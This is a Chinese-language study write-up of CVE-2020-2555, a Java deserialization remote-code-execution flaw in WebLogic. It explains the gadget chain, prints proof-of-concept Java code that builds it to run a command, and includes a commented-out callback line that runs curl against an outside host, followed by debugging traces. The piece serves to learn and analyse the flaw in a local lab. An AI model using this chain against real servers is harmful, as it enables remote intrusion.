一、原理
(一)概述
不安全的反序列化漏洞已成为针对Java Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE,并且通常不容易彻完全修补。CVE-2020-2555就属于这一类。
针对CVE-2015-4852的补丁的绕过有两种大思路,一是寻找新的可以实现任意代码执行的类,二是换可触发利用链的反序列化点(包括换接收输入的点和换到包装类的内部)。之前的绕过基本上都是第二种,这里主要是第一种,在选择的类上直接另立门户。
(二)CVE-2020-2555
CVE-2020-2555也是反序列化漏洞,其内部的原理不很是很复杂,却非常值得学习。
前面讲过一个故事,现在接着往下编。那个小孩子觉得药都不好吃,于是闹着不想吃药(有了新补丁),医生干脆放弃吃药(找不到新的包装类了),转为输液治疗(CVE-2017-3248),但是小孩子觉得输液会疼,又不想输液,于是医生找了一种甜的药(CVE-2020-2555),用来治病(getshell)。
(三)原理
ReflectionExtractor内有method.invoke(),可以用于执行任意方法,
通过构造链式的ChainedExtractor就可以实现任意代码执行。LimitFilter中的toString()方法会调用m_extractor的extract(),而BadAttributeValueExpException的readObject()中可以调用其成员变量的toString()。
由此一来,我们可以构造BadAttributeValueExpException的val为LimitFilter对象,这个对象的m_extractor为内部成链的chainedExtractor,和上面一段的描述逆序执行,最终触发RCE。
这里用Y4er师傅的PoC,将CVE_2020_2555.java添加到weblogic_cmd中。
择要展示一下代码。
先是按顺序构造ChainedExtractor,
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"calc"}}
//new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
再是封装进LimitFilter对象,
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
接下来将其封装进BadAttributeValueExpException,
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
看到这里,我回想起了CVE-2016-3510中用到的CC1链,相似度可谓非常高了,CC1中的InvokerTransformer也有method.invoke(),几个Transformer封装成了ChainedTransformer,再封装进可以对成员变量调用readObject()的类,最终发送出去。
整个链的构造如出一辙,不一样的就是换了反序列化点,CVE-2016-3510中readObject便算是完成了任务,而CVE-2020-2555中则是再通过toString进入另一层面。
二、调试
(一)环境搭建
版本与之前不同了,漏洞用到的UniversalExtractor是WebLogic 12.2.1.4.0所特有的,而vulhub\weblogic均是10.3.6版本的,搭建相应的docker也需要下载相应的jar,可直接搭在本机上。
(二)复现
运行PoC,
弹出计算器,
(三)调试
先上调用栈,
extract:121, ReflectionExtractor (com.tangosol.util.extractor)
extract:105, ChainedExtractor (com.tangosol.util.extractor)
toString:599, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
PoC打过去,断下,
一开始先是BadAttributeValueExpException对象的readObject,
这里的val对应PoC中这几行代码,
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
因为我是在本地调试,有时候想看什么结果就会在调试器内部执行完恶意代码,就会弹出计算器,不是什么大问题。
接下来,进入LimitFilter的toString(),
这里关键的变量我们都已经控制好了,比如这里的m_comparator,此时的m_extractor为ChainedExtractor。
跟进它的extract,
其内部extract会调用每个元素的extract,
与ChainedTransformer的transform相似度极高,
进入第0个extractor的extract,从这里不难看出为什么oTarget要是个java.lang.Runtime,
但是第一次调试时我产生了疑惑,
为什么m_methodPrev是个非空值,
下图为调试PoC时,ChainedExtractor构造好时的结果,
既然attacker构造时是空,那么为什么在victim上是个非空值呢?
我们先继续调PoC,经调试发现,
执行完这一行代码之后,m_methodPrev的值就会改变,
我们先跟进之,
可以看到,
在执行getFieldAccessor(obj).set(obj, value);之前,m_methodPrev的值都没有改变,问题的范围又得到了缩小,
继续跟进,进入UnsafeObjectFieldAccessorImpl的set,
就在上图断点这一行,执行完,m_methodPrev的值就会改变,但是再想深入跟就跟进不了了。
下面回到调试WLS,这一部分比较熟悉了,前面也见过,
进入第一个ReflectionExtractor,
获得Runtime实例,
第二个ReflectionExtractor,
三、收获与启示
因为我是先学习了CVE-2015-4852和CVE-2020-14645之后再学习的这个CVE,感觉这像是一个承前启后的漏洞。首先,前承了CVE-2015-4852的攻击链的思路,其次,又开启了后面的对Extractor的利用的篇章。
整个利用链条和CVE-2020-14645比起来相对简单,但其中不乏有相似之处和值得研究的细节,学习完后有所收获,比如一个新名词sink,
Sinks即可能会有副作用的Java方法,常见的有:
FileOutputStream.write() 可造成任意文件写;
Runtime.exec()可造成任意代码执行;
Method.invoke()可造成任意方法调用。